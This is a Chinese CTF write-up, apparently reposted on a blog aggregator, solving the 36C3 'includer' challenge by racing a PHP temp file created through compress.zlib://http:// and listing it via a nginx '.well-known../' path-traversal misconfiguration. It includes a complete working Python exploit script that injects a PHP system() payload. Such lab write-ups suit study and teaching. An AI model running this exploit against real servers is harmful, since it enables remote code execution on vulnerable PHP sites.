ctf-36C3解析

news2024/11/26 14:58:32

一、环境

unbentu

这道题给了docker环境,gethub上面自己找

一个好用的linux全局切换梯子proxychains

二、开始解析

2.1初始

 2.2编译

docker build .

 2.3代理设置完毕

我试了一下代理还是不行,我们换源尝试一下

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
    sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list

 

之后便可正常部署了

docker build -t includer .

 搞定

运行一下镜像

docker run -itd -p 8004:80 loadbalance-jsp_lbsnode1

 生成

搭建完成之后运行在web界面显示是以下则搭建成功

 那分析一下代码吧,使用vs code进行远程的连接

代码还是比较简单的

 先是语言模式,然后生成32位随机字符转成16进制,执行完以后读文件看文件中是否有<?,如果有直接给删除掉,那我们思路就很清晰了包含file

之后去读取,我们肯定想包含底下这个但是因为有<?

<?php system("/readflag")

那我们就可以思考一个问题,可不可以生成一个临时文件,临时文件可不可以竞争

意思也就是我们一开始传一个正常的文件,之后传一个带一句话木马的文件,如果可以竞争的话在php代码还没有判断之前,第二个文件会对第一个文件进行覆盖

三、理论形成,实践开始

我们需要fswatch去监控,这个gethub上面直接安装,安装地址是是

Release fswatch v. 1.17.1 · emcrisostomo/fswatch · GitHub

之后打开kill使用BurpSuite

但是这种情况我测试,测试不成功,只能使用底下的python去测试 

小结一下吧,不然上面显的乱

如果PHP_STREAM_PREFER_STDIO已设置,则会调用php_stream_fopen_tmpfile()创建临时文件。

所以我们现在可以创建具有任意内容的临时文件。

我们的目标很明显:

  1. 用于compress.zlib://http://myserver上传一些垃圾,但不要关闭连接

  2. 用于.well-known../files/xxxxxxxxxxx/列出我们的临时文件名(xxxxxxxxxxx 是目录名)

  3. 用于file_get_contents与另一个会话读取临时文件

  4. 因为临时文件不包含<?,所以它会通过检查

  5. 从之前的连接发送我们的 php 代码

  6. 将临时文件包含在我们的 php 代码中

因为我们需要在file_get_contents()和之间发送 php 代码include(),所以我们应该竞争它!(步骤3~步骤6)

还有一个问题,我们需要在步骤1中获取目录名,但是无法关闭连接。

为了解决这个问题,我们使用 来$_POST['name']填充 php 输出缓冲区。

然后我们将看到随机目录名称而不关闭连接。

四、总结

所以整个流程我们可以总结为以下:

1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

2.利用超长的 name 溢出 output buffer 得到 sandbox 路径

3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名

Nginx配置错误:Vulhub - Docker-Compose file for vulnerability environment

目录穿越:

4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点:

要利用大文件或ftp速度限制让连接保持

传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

五、python代码

exp for 36c3 includer (github.com)

导入系统然后跑程序,但是它的代码引用后有问题,我进行了简单的修改后即可包含成功

import requests
from pwn import *

for i in range(100):

    r=remote("192.168.170.145",8004)
    l=listen(9090)
    # get filename
    data = """name={}&file=compress.zlib://http://192.168.170.145:9090""".format("a" * 8050)#这里要选择合适的长度来溢出
    payload = """POST / HTTP/1.1
Host: 192.168.170.145:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}""".format(len(data), data).replace("\n", "\r\n").encode()
    r.send(payload)
    try:
        r.recvuntil("your sandbox: ".encode())
    except EOFError:
        print("[ERROR]"+"EOFError")
        r.close()
        continue
    dirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'
    print("[DEBUG]:dirname:"+dirname)

    c=l.wait_for_connection()
    # send trash 来让临时文件存活更久
    trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

{}'''.format('A' * 5000000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小
    c.send(trash)
    url="http://192.168.170.145:8004/.well-known../"+dirname
    print(url)
    res1=requests.get(url=url)
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        print("i will close")
        l.close()
        r.close()
        print("[ERROR]: IndexErorr")
        continue
    
    def job():
        time.sleep(0.02)
        phpcode = 'wtf<?php system("/readflag");?>'
        c.send(phpcode)
    t = threading.Thread(target = job)
    t.start()

    exp_filename=dirname+tmpname
    print("[DEBUG]:"+exp_filename)
    res2=requests.post("http://192.168.170.145:8004/",data={"file":exp_filename})
    print(res2.text,res2.status_code)
    if "wtf" in res2.text:
        break
    l.close()
    r.close()
    c.close()

 自然包含成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1554256.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】新篇章 -- 顺序表

&#x1f308; 个人主页&#xff1a;白子寰 &#x1f525; 分类专栏&#xff1a;python从入门到精通&#xff0c;魔法指针&#xff0c;进阶C&#xff0c;C语言&#xff0c;C语言题集&#xff0c;C语言实现游戏&#x1f448; 希望得到您的订阅和支持~ &#x1f4a1; 坚持创作博文…

【Flink】Flink 处理函数之基本处理函数(一)

1. 处理函数介绍 流处理API&#xff0c;无论是基本的转换、聚合、还是复杂的窗口操作&#xff0c;都是基于DataStream进行转换的&#xff0c;所以统称为DataStreamAPI&#xff0c;这是Flink编程的核心。 但其实Flink为了更强大的表现力和易用性&#xff0c;Flink本身提供了多…

工厂数字化看板是什么?部署工厂数字化看板有什么作用?

随着工业4.0时代的来临&#xff0c;数字化转型已成为制造业发展的必然趋势。在这个背景下&#xff0c;工厂数字化看板作为一种高效的信息展示与管理工具&#xff0c;正逐渐受到越来越多企业的青睐。那么&#xff0c;什么是工厂数字化看板&#xff1f;部署工厂数字化看板又有哪些…

大数据做「AI大模型」数据清洗调优基础篇

关于本文 近期一直在协助做AI大模型数据清洗调优的工作&#xff0c;主要就是使用大数据计算引擎Spark做一些原始数据的清洗工作&#xff0c;整体数据量大约6PB-8PB之间&#xff0c;那么对于整个大数据量的处理性能将是一个重大的挑战&#xff0c;关于具体的调优参数配置项暂时不…

『VUE』04. 模板语法-属性绑定(详细图文注释)

目录 v-bind 属性绑定省略写法如果绑定的值是null或underfined 属性省略逻辑值绑定动态绑定总结 欢迎关注 『VUE』 专栏&#xff0c;持续更新中 欢迎关注 『VUE』 专栏&#xff0c;持续更新中 v-bind 属性绑定 Mustache 语法不能在 HTML 属性中使用&#xff0c;然而&#xff0…

上位机图像处理和嵌入式模块部署(qmacvisual非opencv算法编写)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 我们都知道&#xff0c;qmacvisual本身依赖于qtopencv的实现。大部分的界面都是依赖于qt的实现。图像算法部分&#xff0c;也是大部分都依赖于open…

python的神奇bug2

今天测试出一个很诡异的bug&#xff0c; 这个错误还真的很难发现 测试1 a [1,10,100] for i in a:print(i)if(i10):a[20,30,-1]一般来说我们在进行迭代时&#xff0c;a这个值时不能改动的&#xff0c;但是现在的问题时如果我不小心给改动了呢&#xff0c;结果如下 也就是说…

windows下的vscode + opencv4.8.0(C++) 配置

1.添加环境变量 D:\mingw64\bin 2.安装vscode 3.下载opencv 4.8.0 4.程序引用第三方库(opencv为例) 打开CMakeLists.txt&#xff0c;引入头文件&#xff0c;使用include_directories 加入头文件所在目录。静态链接库link_directories # 头文件 include_directories(D:/ope…

python函数参数中独立星号*的作用

python函数中间有一个&#xff08;&#xff09;分隔&#xff0c;星号后面为*命名关键字参数&#xff0c;星号本身不是参数**。命名关键字参数&#xff0c;在函数调用时必须带参数名字进行调用。如下例子&#xff1a;

热门超声波清洗机哪个好?2024顶配超声波清洗机真实评测攻略分享

就是因为现在关于超声波清洗机的款式太多了&#xff0c;很多朋友无从下手&#xff0c;不知道到底哪款更值得入手&#xff01;所以本篇文章作者集结了市面上最多人问最热门的三款超声波清洗机做了一次实测。对于热门超声波清洗机哪款更值得入手体验&#xff0c;一篇揭晓&#xf…

2024Postman中变量的使用!

Postman中可设置的变量类型有全局变量&#xff0c;环境变量&#xff0c;集合变量&#xff0c;数据变量及局部变量。区别则是各变量作用域不同&#xff0c;全局变量适用于所有集合&#xff0c;环境变量适用于当前所选环境&#xff08;所有集合中均可使用不同环境变量&#xff09…

Redis(一) redis配置 | 如何连接redis服务器 | 基本数据类型 | 基本全局命令

文章目录 前言Redis 配置文件连接 redis 服务器Redis 常见数据类型Redis 基本全局命令set 和 get 命令KEYS 命令EXISTS 命令DEL 命令EXPIRE 和 TTL 命令Redis 过期策略定时器和时间轮的方式实现过期key的及时删除 TYPE 命令 前言 本篇文章将介绍我们在 Linux 环境下安装了 Red…

Centos服务器Open Gauss 部署

近期很多的项目由于信创要求使用一些国产的数据库&#xff0c;比如OpenGauss。OpenGuass是华为高斯DB的开源版&#xff0c;内核还是PostgreSQL&#xff0c;商业版是收费的。这里记录一下是如何安装部署 的。 官方中文文档 官方下载地址 部署要求 操作系统要求 ARM&#xff…

第十四届蓝桥杯JavaA组省赛真题 - 特殊日期

解题思路&#xff1a; 暴力秒了 public class Main {public static void main(String[] args) {int cnt 0;for (int i 1900; i < 9999; i) {for (int j 1; j < 12; j) {for (int k 1; k < days(i, j); k) {if (sum(i) sum(j) sum(k)) cnt;}}}System.out.print…

Lightguide

Resolve Assembly Challenges with Projected AR Workflows The future of assembly is here. It’s not just about automation, it’s about empowering your workforce with the best possible digital toolset. LightGuide AR is a powerful addition to your Industry 4.…

如何注册谷歌邮箱gmail

不知道大家在工作生活中有没有需要用到谷歌邮箱的地方&#xff0c;但是最近我就用到了它。因为注册ChatGPT的事&#xff0c;用了outlook&#xff0c;hotmail邮箱注册的gpt账号都被封了&#xff0c;然后通过各方面的了解&#xff0c;发现谷歌的邮箱是没有问题的&#xff0c;不会…

服务器中有g++,但是查询不到,Command ‘g++‘ not found

有gcc但是查询不到g&#xff0c;gcc版本为9.5.0 (base) zyICML:~$ g -V Command g not found, but can be installed with: apt install g Please ask your administrator. 突然就出现这个问题&#xff0c;导致detectron装不上&#xff0c;现在有时间了专门研究下怎么解决 这…

文章分享:协和文章《病原宏基因组高通量测序性能确认方案》

摘要&#xff1a;宏基因组学利用新一代高通量测序技术&#xff0c;以特定环境下病原体基因组为研究对象&#xff0c;在分析病原体多样性、种群结构、进化关系的基础上&#xff0c;进一步探究病原体的群体功能活性、相互作用及其与环境之间的关系&#xff0c;发掘潜在的生物学意…

马上蓝桥杯了,干货总结动态规划专题,祝你考场爆杀(拔高篇)最佳课题选择 书本整理 打鼹鼠 吃吃吃 非零字段划分

目录 最佳课题选择 思路&#xff1a; 书本整理 思路&#xff1a; 打鼹鼠 思路&#xff1a; 吃吃吃 思路&#xff1a; 非零字段划分 最佳课题选择 思路&#xff1a; 根本还是论文的分配&#xff0c;每个课题分配多少个论文是不确定的&#xff0c;这个也是很影响转…

六千字详解!一篇看懂 ArrayList 的扩容机制(完整源码解析)

☀️今天花了很久写了这篇关于 ArrayList 扩容机制源码解析的博客&#xff0c;在阅读源码的过程中发现了很多之前有误解的地方&#xff0c;也加深了对代码的理解&#xff0c;所以写下了这篇博客。 &#x1f3b6;本文附带了流程中所有的代码和附加解析&#xff0c;我有信心一定能…